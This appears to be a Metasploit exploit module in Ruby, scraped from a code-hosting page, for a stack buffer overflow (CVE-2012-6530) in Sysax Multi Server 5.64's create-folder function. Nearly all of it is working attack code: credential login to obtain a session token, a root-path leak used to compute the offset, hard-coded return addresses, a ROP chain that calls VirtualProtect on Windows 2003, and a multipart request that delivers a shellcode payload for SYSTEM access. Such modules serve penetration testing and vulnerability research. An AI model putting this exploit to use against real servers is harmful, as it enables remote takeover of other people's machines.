196 lines
6.5 KiB
Ruby
196 lines
6.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the create folder function in
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Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
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vulnerability valid credentials with the create folder permission must be provided.
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The HTTP option must be enabled on Sysax too.
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This module will log into the server, get a SID token, find the root folder, and
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then proceed to exploit the server. Successful exploits result in SYSTEM access.
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This exploit works on XP SP3, and Server 2003 SP1-SP2.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Craig Freyman', #Original discovery for the overflow
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'Matt "hostess" Andreko' #More reliable attack vector
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],
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'References' =>
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[
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[ 'CVE', '2012-6530' ],
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[ 'OSVDB', '82329' ],
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[ 'EDB', '20676' ],
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[ 'EDB', '18420' ],
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[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
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[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
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'Space' => '1299',
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'Windows XP SP3 / Sysax Multi Server 5.64',
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{
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'Rop' => false,
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'Ret' => 0x77c35459, # push esp # ret [msvcrt.dll]
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'Offset' => 711,
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}
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],
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[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
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{
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'Rop' => true,
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'Ret' => 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
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'Offset' => 711,
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'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
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}
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],
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],
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'Privileged' => true,
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'DisclosureDate'=> 'Jul 29 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
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Opt::RPORT(80),
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OptString.new('SysaxUSER', [ true, "Username" ]),
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OptString.new('SysaxPASS', [ true, "Password" ])
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], self.class)
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end
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def create_rop_chain()
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rop_gadgets = []
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# ROP chains provided by Corelan.be
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# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
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if (target == targets[1]) # Windows 2003
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rop_gadgets =
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[
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0x77be3adb, # POP EAX # RETN [msvcrt.dll]
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0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
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0x41414141, # Filler (compensate)
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0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
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0x77bdb896, # POP EBP # RETN [msvcrt.dll]
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0x77be2265, # & push esp # ret [msvcrt.dll]
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0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
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0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
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0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
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0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
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0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
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0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
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0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
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0x77befbb4, # &Writable location [msvcrt.dll]
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0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
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0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
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0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
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0x90909090, # nop
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0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
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].flatten.pack("V*")
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end
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return rop_gadgets
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end
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def get_sid
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user = datastore['SysaxUSER']
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pass = datastore['SysaxPASS']
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creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"
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uri = target_uri.path
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# Login to get SID value
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r = send_request_cgi({
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'method' => "POST",
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'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"),
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'data' => creds
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})
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# Parse response for SID token
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sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
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print_status "SID: #{sid.to_s}"
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sid.to_s
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end
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def get_root_path(sid)
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# Find the path because it's used to help calculate the offset
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random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir
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uri = normalize_uri(target_uri.path)
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r = send_request_cgi({
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'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"),
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'method' => 'POST',
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})
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# Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.
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# Root Path should be C:\Documents and Settings\Administrator\Desktop (no trailing slash)
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root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]
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print_status "Root Dir: #{root_path}"
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root_path
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end
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def exploit
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connect
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sid = get_sid
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root_path = get_root_path(sid)
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buffer = rand_text(target['Offset']-root_path.length)
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buffer << [target.ret].pack('V')
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if (target['Rop'])
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buffer << [target['Nop']].pack('V')*16
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buffer << create_rop_chain()
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end
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buffer << make_nops(15)
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buffer << payload.encoded
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post_data = Rex::MIME::Message.new
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post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
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post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"
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uri = normalize_uri(target_uri.path)
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r = send_request_cgi({
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'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"),
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'method' => 'POST',
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'data' => post_data.to_s,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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})
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disconnect
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end
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end
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